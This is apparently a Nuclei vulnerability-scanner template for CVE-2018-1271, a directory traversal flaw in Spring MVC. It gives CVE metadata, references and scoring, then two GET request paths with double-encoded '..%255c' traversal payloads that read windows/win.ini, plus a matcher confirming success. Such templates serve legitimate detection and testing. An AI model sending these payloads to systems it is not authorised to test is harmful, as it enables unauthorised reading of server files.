nuclei-templates/cves/2018/CVE-2018-1271.yaml

36 lines
1.5 KiB
YAML
Raw Normal View History

2021-01-02 05:00:39 +00:00
id: CVE-2018-1271
2020-06-03 00:53:25 +00:00
info:
name: Spring MVC Framework - Local File Inclusion
2020-06-03 00:53:25 +00:00
author: hetroublemakr
severity: medium
description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
reference:
- https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
- https://pivotal.io/security/cve-2018-1271
- http://web.archive.org/web/20210518132800/https://www.securityfocus.com/bid/103699
- https://access.redhat.com/errata/RHSA-2018:1320
- https://nvd.nist.gov/vuln/detail/CVE-2018-1271
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.9
cve-id: CVE-2018-1271
cwe-id: CWE-22
tags: cve,cve2018,spring,lfi,traversal
2020-06-03 00:53:25 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
- '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
matchers-condition: and
2020-06-03 00:53:25 +00:00
matchers:
- type: word
words:
- 'for 16-bit app support'
- type: status
status:
- 200
# Enhanced by mp on 2022/07/22